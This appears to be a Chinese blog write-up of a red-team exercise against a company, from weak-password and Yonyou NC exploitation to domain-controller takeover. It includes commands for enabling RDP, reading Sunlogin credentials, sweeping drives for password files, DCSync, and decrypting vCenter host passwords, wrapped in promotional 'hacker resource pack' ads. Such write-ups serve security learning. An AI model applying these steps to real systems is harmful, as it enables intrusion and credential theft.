攻防演练 | 记一次打穿xx公司域控

原创 已于 2024-01-06 20:50:29 修改 · 238 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #网络安全 #经验分享 #系统安全 #网络攻击模型 #安全架构 #安全威胁分析

于 2023-08-01 18:23:58 首次发布
文章描述了一次黑客渗透过程，使用Ehole识别资产，尝试弱口令攻击，内网渗透，利用漏洞上传文件，以及如何通过注册表操作、密码破解和工具利用进行攻击。同时分享了网络安全学习资源，包括学习路线、视频教程和工具包等。

外网打点

资产识别

使用 Ehole 快速识别重点资产链接：https://github.com/EdgeSecurityTeam/EHole

PYTHON

Ehole.exe -fofa 检测的域名

在这里插入图片描述

寻找口子

1、每个网站可以尝试默认密码或’admin’、1qazxsw2==== 等类似弱口令

这里通过 sysadmin/1 成功登入泛微后台

在这里插入图片描述

2、接着浏览其他站点，这里运气比较好发现了用友的 nday

在这里插入图片描述
在这里插入图片描述

【点击领取】优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

3、访问接口 /servlet/~ic/bsh.servlet.BshServlet 执行命令
在这里插入图片描述

4、另外还存在用友 nc 任意文件上传漏洞，直接上哥斯拉
在这里插入图片描述

内网渗透

杀软识别

PYTHON

tasklist /svc

在这里插入图片描述

把之前准备好的 bypass360 马子扔上去，成功上线

在这里插入图片描述
【点击领取】优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

隧道搭建

ping 了一下发现机器出网，可以上 frp 搭建反向代理隧道
在这里插入图片描述

proxifier 配置相应的端口账密便可以进入内网

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZDIA0tOm-1690883089118)(https://image.3001.net/images/20230726/1690351049_64c0b5c9e6e80ebfbaaaf.png!small?1690351046346)]

由于周六日没人防守，直接上 fscan 对各个 C 段开扫，发现网段里的弱口令或 web 漏洞，帮助我们拿下机器进一步横向，拿到机器后先做信息搜集，网段，机器信息，敏感文件，xshell、navicat 密码等常规的这里就不细说了

接着可以通过 mimikatz 抓取密码，抓不到明文也可以尝试到 cmd5 上进行破解，充值 100 块 100 条还是挺划算的，破解率较高，白嫖可以到这个网站 https://www.somd5.com

拿到机器的账号密码之后，若机器开启了 3389 端口可以选择 rdp 远程桌面过去，没开的话可以开启 3389 端口进行远程连接

【点击领取】优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

PLAINTEXT

执行以下命令操作注册表来开启机器3389远程桌面服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v 
fDenyTSConnections /t REG_DWORD /d 00000000 /f 

#执行以下命令操作注册表来关闭机器3389远程桌面服务  
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f 

#使用以下命令添加防火墙放行策略 
netsh firewall add portopening protocol = TCP port = 3389 name = rdp

但如果是正常办公时间，贸然登录过去会很容易引起对方的发现，若进程中有 sunlogin 进程，可以读取识别码和验证码，通过向日葵连接相对比较隐蔽

在这里插入图片描述

向日葵读取密码

PLAINTEXT

注册表读取配置信息： 
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo reg query 
HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo 
向日葵默认配置文件路径: 
安装版：C:\Program Files\Oray\SunLogin\SunloginClient\config.ini 
便携版：C:\ProgramData\Oray\SunloginClient\config.ini 
本机验证码参数：encry_pwd 
本机识别码参数：fastcode(去掉开头字母) 
sunlogincode：判断用户是否登录状态` |

读注册表：

在这里插入图片描述

读默认配置文件：

fastcode 去掉前面的数字 k 为本机识别码 278263893

使用脚本进行解密获得本机验证码
在这里插入图片描述

运维机

横向的时候优先拿运维机，一般运维机存储着大量的账号密码信息，比如这次无意中发现的运维机器是弱口令 administrator/111111

拿下后可通过运行 bat 收集服务器、网络拓扑、密码本、公司信息等重要文件。

HTML

   dir /a /s /b d:\"*.txt" 
   dir /a /s /b d:\"*.xml"  
   dir /a /s /b d:\"*.mdb" 
   dir /a /s /b d:\"*.sql"
   dir /a /s /b d:\"*.mdf"  
   dir /a /s /b d:\"*.eml"  
   dir /a /s /b d:\"*.pst"  
   dir /a /s /b d:\"*conf*"  
   dir /a /s /b d:\"*bak*"  
   dir /a /s /b d:\"*pwd*"  
   dir /a /s /b d:\"*pass*"  
   dir /a /s /b d:\"*login*"  
   dir /a /s /b d:\"*user*" 
   dir /a /s /b c:\password.txt 
   dir /a /s /b c:\*.conf *.ini *.inc *.config  
   dir /a /s /b c:\conf.* config.*  
   dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "拓扑" 
   dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维" 
   dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码" >C:\Users\1.txt

最后收集了一堆密码本，可登录到各个重要系统，例如：

H3C 堡垒机

在这里插入图片描述

gitlab 仓库

在这里插入图片描述

禅道

在这里插入图片描述

拿着密码本重新组合字典，对网段内的机器进行爆破，一般存在口令复用的情况，成功拿下几十台机器

在这里插入图片描述
在这里插入图片描述

获取域控

通过 fscan 扫描的时候可以检索 AD 关键字发现域控

PLAINTEXT

[*]192.168.10.38 #非真实域控ip  
 [->]D1-Prod-AD-P01   
 [->]192.168.10.38    
 [*]192.168.10.20 #非真实域控ip   
 [->]AD   
 [->]192.168.10.20` |

接着可以通过该机器是否开放 53 和 389 端口进行进一步确认

爆破成功的机器里发现其中一台为域内机器，刚好该机器存在域管进程，提权到 system 权限后 inject 到域管进程，通过 Dcsync 成功获取域管密码的 hash 值，其中一个被禁用的账户刚好是弱口令，解出明文密码并激活账户，成功登录两台域控机器，除此以外还可以尝试域漏洞、NTLM 中继、委派等

PLAINTEXT

| 1 | `net group "domain admins" /domain 
| 2 |dcsync domain xxxx 
| 3 |shell net user xxxx 
| 4 |shell net user xxxx /active:yes /domain` |

在这里插入图片描述
在这里插入图片描述

云管平台

通过运维机的 xshell 查找历史记录拿下了主备数据库，然后执行 sql 语句成功获取出了云管平台的 hash

在这里插入图片描述

到 cmd5 上进行解密，一块钱拿下云管平台很划算

在这里插入图片描述

在这里插入图片描述

官网

通过云管平台登录官网机器，抓取浏览器密码成功获取后台密码

在这里插入图片描述

Vcenter

在扫描的过程中发现几台 Vcenter，Vcenter 常规有三种打法，分别是 CVE-2021-22005-rce、2021-21972-uoloadova 接口 rce 和 log4j，前两个测试过没成功，log4j 通过 dnslog 探测漏洞存在，vcenter 的漏洞触发点在 xff 头部，这里可手工打或者使用 sp4ce 师傅的工具

https://github.com/NS-Sp4ce/Vm4J

在这里插入图片描述
在这里插入图片描述

但一般打完是非交互式 shell，没有回显，这里使用命令切换为交互式 shell

PLAINTEXT

 python -c 'import pty;pty.spawn('/bin/bash')'

重置密码

PLAINTEXT

 /usr/lib/vmware-vmdir/bin/vdcadmintool  #重置密码

不重置密码获取密码

https://github.com/shmilylty/vhost\_password\_ decrypt

PLAINTEXT

#获取vc用户的密码 
cat /etc/vmware-vpx/vcdb.properties 
#把加密后的密码单独拿出来，
 psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc 
 #改成这种格式 *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg== *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q== *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw== *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA== 
#拿解密key cat /etc/vmware-vpx/ssl/symkey.dat 
Windows：C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat 
Linux：/etc/vmware-vpx/ssl/symkey.dat 
#破解 python decrypt.py symkey.dat password.enc pass.txt` |

然后就可以登入 web 控制台了，最后也是拿下了两台域控
在这里插入图片描述
在这里插入图片描述
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

网络安全学习资源分享:

最后给大家分享我自己学习的一份全套的网络安全学习资料，希望对想学习 网络安全的小伙伴们有帮助！

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

【点击领取】优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取视频教程】

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

在这里插入图片描述

（都打包成一块的了，不能一一展开，总共300多集）

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。【点击领取工具包】

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

朋友们如果有需要全套《黑客&网络安全入门&进阶学习资源包》，点击下方链接即可前往免费获取
优快云大礼包：《黑客&网络安全入门&进阶学习资源包》

这份完整版的学习资料已经上传优快云，朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

vCenter 漏洞利用总结
渗透之路，攻防之间皆学问
07-24 4857
VMware vCenter是VMware公司推出的集中化虚拟化管理平台。它是VMware vSphere虚拟化解决方案的核心组件之一。vCenter的主要功能是管理和监控整个vSphere虚拟化基础架构，包括多个ESXi主机和虚拟机。vSpherevSphere是VMware的虚拟化平台的总称，它是一套完整的虚拟化解决方案，包括了多个组件和功能，用于构建和管理虚拟化环境。
Netlogon特权提升漏洞 (CVE-2020-1472)
渗透之路，攻防之间皆学问
03-18 5265
在2020年8月份微软发布的安全公告中，有一个十分紧急的漏洞——CVE-2020-1472 NetLogon 权限提升漏洞。通过该漏洞，未经身份验证的攻击者只需要能访问域控的135端口即可通过 NetLogon 远程协议连接域控并重置域控机器的Hash，从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash（域控的机器账户默认具有DCSync权限）。该漏洞存在的原因是Netlogon协议中加密模块存在问题，导致攻击者能够在没有有效凭据的情况下通过身份认证。
红队之外网定向打点
weixin_30349597的博客
09-02 1646
情报收集与外网打点 因为起晚了..第一个议题没听着，有点遗憾，补张图 基础设施架构设计部署 普通架构：红队人员--》teamserver cs--》目标机 缺点：功能未分离、无潜伏通道、回连日志多、灵活性较低 演进架构：DNS/HTTP/HTTPS分离server tips：1~2cpu 2G内存 10G硬盘，回连数不超过5台，潜伏通道（根据实际目标环境优先） 完整架构：...
第70篇：记一次对某物联网云平台及Hadoop生态系统的渗透全过程
ABC_123的博客
07-24 4955
Part1 前言大家好，我是ABC_123。本期分享一个之前做过的针对某物联网云平台的渗透测试案例，包括了对Hadoop生态系统的内网横向过程，由于内网很多都是Yarn、MapReduce、Spark、HDFS、Ambari、Hortonworks这些组件，平时很少遇到，由此开始了长达3个月的断断续续地一边学习，一边研究的历程。在此期间，我基本上把网上公布的所有的Hadoop组件的漏洞都尝试了...
域内常见CVE Exploit
qq_18811919的博客
03-18 1691
本篇文章讲述了近些年来一些常见的域内CVE利用 1.CVE-2021-42287(saMAccountName spoofing利用) 2.Windows Print Spooler漏洞 3.CVE-2020-1472 NetLogon（域控机器账户重置密码为空） 4.MS14-068权限提升 5.CVE-2019-1040 NTLM MIC绕过
推荐开源项目：vhost_password_decrypt — 解密VMware VCenter的密码工具
gitblog_00026的博客
05-30 689
推荐开源项目：vhost_password_decrypt — 解密VMware VCenter的密码工具 去发现同类优质开源项目:https://gitcode.com/ 在IT基础设施中， VMware VCenter 作为虚拟化管理平台起着至关重要的作用。但随之而来的是安全性的挑战，尤其是敏感信息如管理员密码的保护。为此，我们向您推荐一个开源项目——vhost_password_decryp...
红队视角下的工具滥用分析：FRPFILE AIO 在内网渗透中的4种高危场景
在现代攻防对抗的战场上，工具本身早已不分善恶。一个原本为运维人员解决“内网穿透难”而生的小众代理程序，如今却频繁出现在APT攻击链中，成为红队手中的隐形匕首——这正是 **FRPFILE AIO** 的真实写照。 你以为...
红队专题-与维持隐匿Privilege Escalation
aming小老弟
10-27 2109
高权限不仅能对更多文件进行增删改查的操作，方便进一步收集主机系统中的敏感信息， system权限也可以提取内存中的密码Hash，为进一步的渗透提供更多信息。权限提升是从初始访问权限（通常是标准用户或应用程序帐户）一直提升到administrator, root甚至SYSTEM访问权限的艺术。常见技术或攻击手段来获得高权限帐户访问权限。用于检测和利用不同权限提升技术的手动方法，但会提到可以完成相同工作并节省您一些时间的自动化工具。 完美，它指向我们的有效负载。 使用net（也是默认安装的）启动此服务以获得
记一次攻防演练实战总结
渗透测试研究中心
10-14 2172
0x01 外网打点资产发现多测绘平台搜索https://hunter.qianxin.com/https://fofa.info/https://quake.360.cn/多语法搜索假如某个目标站点为xxxx.com ，我们可以通过不同的语法进行资产搜集，搜集的资产会更全面这里以fofa为例domain="xxxx.com" host="xxxx.com" header="xxxx.co...
【渗透测试】Sunlogin-RCE（向日葵）
一个偶尔更新，有点神经质的开发人员，专注于网络安全和人工智能应用领域。
02-17 5633
版本：11.0.0.33.162 安装路径：C:\Program Files\Oray\SunLogin\SunloginClient 一、安装启动向日葵 二、RCE执行 xrkRce.exe -h 192.168.221.130 -t scan -p 1-65535 xrkRce.exe -h 192.168.221.130 -t rce -p 2913 -c “whoami” windows复现成功 苹果复现失败 2022.2.17 久违 ...
内网渗透之向日葵帮我干掉了杀软
MachineGunJoe666
05-20 3088
最近在某地方举行攻防演练的时候进入后台管理拿到了一个 webshell，但是tasklist /svc查看进程 360、电脑管家赫然在列，我的小伙伴本来准备使用注入 dll 来达到上线 cs 多人运动的效果，但是奈何中间出了点差错始终上不了线，机缘巧合之下发现被控主机有一个SunloginClient.exe进程，于是便有了下文。 0x01 初探 进入后台的过程就不说了，这里上传了一个 asp 大马进入到对方主机，whoami 一看一个 user 权限 然后一发tasklist /...
EasyMicrobiome-易扩增子、易宏基因组等分析流程依赖常用软件、脚本文件和数据库注释文件_mpa_voct22_chocophlansgb_202412
weixin_58085973的博客
04-17 1787
Pavian桑基图：https://fbreitwieser.shinyapps.io/pavian/ 在线可视化:，左侧菜单，Upload sample set (temp/bracken/*.report)，支持多样本同时上传；(可选) 单样本注释，5m，50G大数据库较5G库注释比例提高10~20%。)，分别代表多个和单个字符。Kraken2可以快速完成读长(read)层面的物种注释和定量，还可以进行重叠群(contig)、基因(gene)、宏基因组组装基因组(MAG/bin)层面的序列物种注释。
网络安全面试题目及总结
太阳当空照，花儿对我笑，微风轻轻拂，心情无限好。
06-13 2329
面试官问的东西技术难度比较广和深，而且都是基于实际的应用场景来问的。. ,优点就是性能好，能探测到更多的威胁情报之类的（大家脑补吧），感觉不足的就是探测和分析出的威胁，没法给出具体的流量片段，没法通过一个设备有效确定攻击，没有流量特征不好和其他全流量设备进行联动，可能是设备出场的保护机制，保护特征库不被外泄。很奇葩的剧情，一面面试官面完告诉我有base北京base深圳问我是不是想要深圳的，我说是，结果过了一个多星期hr告诉我因为我一面面试官是北京的，然后我选了深圳，所以一面不作数，重新约了一面。
弱口令(Weak Password)总结和爆破工具
热门推荐
博客地址 www.sec0nd.top
09-01 3万+
网站管理、运营人员由于安全意识不足，为了方便、避免忘记密码等，使用了非常容易记住的密码，或者是直接采用了系统的默认密码等。攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。...
超级弱口令检查工具(附带弱口令字典)
最新发布
gitblog_09705的博客
09-06 464
超级弱口令检查工具(附带弱口令字典) 【下载地址】超级弱口令检查工具附带弱口令字典 本仓库提供了一个强大的弱口令检查工具，附带了丰富的弱口令字典。该工具旨在帮助用户识别和防范常见的弱口令，从而提高系统的安全性。 项目地址: htt...
Vcenter实战利用方式总结
2301_80127209的博客
10-23 1277
在实际情况中也碰到使用 MSSQL 数据库的情况，这时候直接使用 navicat 进行连接，搜索。默认是postgresql数据库，只能在vCenter服务器本地登录，执行语句查询ESXI的密码。访问上面的路径，如果404，则代表不存在漏洞，如果405 则可能存在漏洞。比较快的一种方法，但是修改之后无法获取原来的密码，管理员会发现密码被改。
看我拿下域控之利用mimikatz打cve2020-1472
weixin_43227251的博客
04-13 1433
利用mimikatz利用cve2020-1472 原理在上一节说了，本章不多提，主要介绍mimikatz利用方式 检测目标机是否存在cve2020-1472 lsadump::zerologon /target:域控IP /account:域控主机名$ lsadump::zerologon /target:192.168.18.20 /account:WIN-H06K3JJM9AO$ 清空域控密码 lsadump::zerologon /target:域控IP /account:域控主机名$
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序员一粟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值